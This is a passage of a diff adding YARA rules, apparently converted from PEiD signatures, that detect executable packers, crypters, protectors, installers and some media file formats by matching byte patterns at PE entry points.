+
+rule PEiD_00890_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00891_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00892_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+    condition:
+        $a
+}
+rule PEiD_00893_hmimys_Packer_1_0_
+{
+    meta:
+        description = "[hmimys-Packer 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 03 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00894_HPA_
+{
+    meta:
+        description = "[HPA]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_00895_HQR_data_file_
+{
+    meta:
+        description = "[HQR data file]"
+        ep_only = "false"
+    strings:
+        $a = {48 00 00 00 ?? 02 00 00 ?? ?? 00 00 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_00896_hying_s_PE_Armor____hying_CCG_
+{
+    meta:
+        description = "[hying's PE-Armor -> hying[CCG]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00897_Hying_s_PE_Armor_0_75_exe____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 00 00 00 84 ?? ?? ?? 74 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED D7 00 00 00 8D B5 EE 00 00 00 55 56 81 C5 ?? ?? 00 00 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00898_Hying_s_PE_Armor_0_75_exe____Hying__CCG__
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00899_Hying_s_PE_Armor_0_75_exe____Hying_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_00900_Hying_s_PE_Armor_0_76____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.76 -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {01 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 ?? ?? ?? 59 ?? ?? ?? ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 8D ?? ?? ?? ?? 00 00 00 00 00 00 00 9D ?? ?? ?? 8D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED F0 00 00 00 8D B5 07 01 00 00 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00901_hying_s_PEArmor_V0_76____hying_
+{
+    meta:
+        description = "[hying's PEArmor V0.76 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00902_IBM_PictureMaker_graphics_file_
+{
+    meta:
+        description = "[IBM PictureMaker graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {00 ?? C1 ?? 00 ?? ?? ?? ?? 02 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_00903_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00904_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00905_ID_Application_Protector_V1_2____ID_Security_Suite___Sign_by_fly_
+{
+    meta:
+        description = "[ID Application Protector V1.2 -> ID Security Suite ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00906_ILUCRYPT_v4_015__exe_
+{
+    meta:
+        description = "[ILUCRYPT v4.015 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00907_iLUCRYPT_v4_018__exe_
+{
+    meta:
+        description = "[iLUCRYPT v4.018 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00908_Img_Software_Set_graphics_file_
+{
+    meta:
+        description = "[Img Software Set graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {53 43 4D 49 20 20 20 31 41 54}
+    condition:
+        $a
+}
+
+rule PEiD_00909_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER_
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_00910_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER__
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_00911_IMPostor_Pack_1_0____Mahdi_Hezavehi_
+{
+    meta:
+        description = "[IMPostor Pack 1.0 -> Mahdi Hezavehi]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00912_Inbuild_v1_0__hard_
+{
+    meta:
+        description = "[Inbuild v1.0 [hard]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00913_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "true"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00914_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "false"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00915_Inno_Installer_v5_1_2_
+{
+    meta:
+        description = "[Inno Installer v5.1.2]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB DC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 50 00 00 68 D8 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00916_Inno_Setup_Module_v1_09a_
+{
+    meta:
+        description = "[Inno Setup Module v1.09a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00917_Inno_Setup_Module_v1_2_9_
+{
+    meta:
+        description = "[Inno Setup Module v1.2.9]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00918_Inno_Setup_Module_v2_0_18_
+{
+    meta:
+        description = "[Inno Setup Module v2.0.18]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00919_Inno_Setup_Module_v3_0_4_beta_v3_0_6_v3_0_7_
+{
+    meta:
+        description = "[Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+    condition:
+        $a
+}
+
+rule PEiD_00920_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00921_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00922_Install_Stub_32_bit_
+{
+    meta:
+        description = "[Install Stub 32-bit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00923_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00924_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00925_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00926_Installer_VISE_Custom_
+{
+    meta:
+        description = "[Installer VISE Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00927_InstallShield_2000_
+{
+    meta:
+        description = "[InstallShield 2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00928_InstallShield_3_x_Custom_
+{
+    meta:
+        description = "[InstallShield 3.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 A0 40 00 68 34 76 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 8C E3 40 00 A3 70 B1 40 00 33 C0 A0 71 B1 40 00 A3 7C B1 40 00 A1 70 B1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00929_InstallShield_Custom_
+{
+    meta:
+        description = "[InstallShield Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00930_Interchange_Format_File__IFF___type_WVQA_
+{
+    meta:
+        description = "[Interchange Format File (IFF), type WVQA]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 57 56 51 41 56 51 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00931_Interplay_s_MVE_file_
+{
+    meta:
+        description = "[Interplay's MVE file]"
+        ep_only = "false"
+    strings:
+        $a = {49 6E 74 65 72 70 6C 61 79 20 4D 56 45 20 46 69 6C 65 1A 00 1A}
+    condition:
+        $a
+}
+
+rule PEiD_00932_Ionic_Wind_Software_
+{
+    meta:
+        description = "[Ionic Wind Software]"
+        ep_only = "true"
+    strings:
+        $a = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00933_iPB_Protect_0_1_3___0_1_7____forgot_
+{
+    meta:
+        description = "[iPB Protect 0.1.3 - 0.1.7 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00934_iPBProtect_0_1_3_
+{
+    meta:
+        description = "[iPBProtect 0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+    condition:
+        $a
+}
+
+rule PEiD_00935_iPBProtect_v0_1_3_
+{
+    meta:
+        description = "[iPBProtect v0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED 71 EB EB FA FF 83 C0 FC EB FF 70 ED 71 EB EB FA 0F 83 C0 F8 EB FF 70 ED 71 EB EB FA FF 83 C0 18 EB FF 70}
+    condition:
+        $a
+}
+
+rule PEiD_00936_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00937_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00938_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00939_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
